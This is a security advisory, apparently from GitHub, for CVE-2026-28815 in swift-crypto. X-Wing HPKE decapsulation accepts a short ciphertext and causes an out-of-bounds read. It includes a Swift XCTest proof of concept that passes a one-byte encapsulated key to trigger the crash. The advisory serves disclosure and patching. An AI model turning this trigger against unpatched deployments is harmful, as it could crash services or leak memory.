X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length
Impact: A remote attacker may be able to leak memory
Description: An out-of-bounds read was addressed with improved input validation.
CVE-2026-28815: Cantina
We would like to thank Cantina for providing a detailed report. A portion of their report is provided below.
Summary
The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter Data value is passed in, because the C code may read beyond the Swift buffer.
The issue is reachable through initialization of an HPKE.Recipient, which decapsulates the provided encapsulatedKey during construction. A malformed encapsulatedKey can therefore trigger undefined behavior instead of a safe length-validation error.
Proof-of-concept
```swift
//===----------------------------------------------------------------------===//
//
// PoC for X-Wing malformed ciphertext-length decapsulation:
// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.
//
// This test is intentionally unsafe and is expected to crash (or trip ASan)
// on vulnerable builds when run.
//
//===----------------------------------------------------------------------===//...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| swift-crypto Product | < 4.3.1 | 4.3.1 |
Details and references
Impact: A remote attacker may be able to leak memory Description: An out-of-bounds read was addressed with improved input validation. CVE-2026-28815: Cantina We would like to thank Cantina for providing a detailed report. A portion of their report is provided below. ### Summary The X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer. The issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error. ### Proof-of-concept ```swift //===----------------------------------------------------------------------===// // // PoC for X-Wing malformed ciphertext-length decapsulation: // X-Wing decapsulation accepts malformed ciphertext length and forwards it to C. // // This test is intentionally unsafe and is expected to crash (or trip ASan) // on vulnerable builds when run. // //===----------------------------------------------------------------------===// #if canImport(FoundationEssentials) import FoundationEssentials #else import Foundation #endif import XCTest #if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API // Skip tests that require @testable imports of CryptoKit. #else #if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API @testable import CryptoKit #else @testable import Crypto #endif final class XWingMalformedEncapsulationPoCTests: XCTestCase { func testShortEncapsulatedKeyHPKERecipientInit() throws { if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) { let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256 let skR = try XWingMLKEM768X25519.PrivateKey.generate() let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...) _ = try HPKE.Recipient( privateKey: skR, ciphersuite: ciphersuite, info: Data(), encapsulatedKey: malformedEncapsulatedKey ) XCTFail("Unexpectedly returned from malformed decapsulation path") } } } #endif // CRYPTO_IN_SWIFTPM ```
- Severity from
- GitHub (reviewed advisory)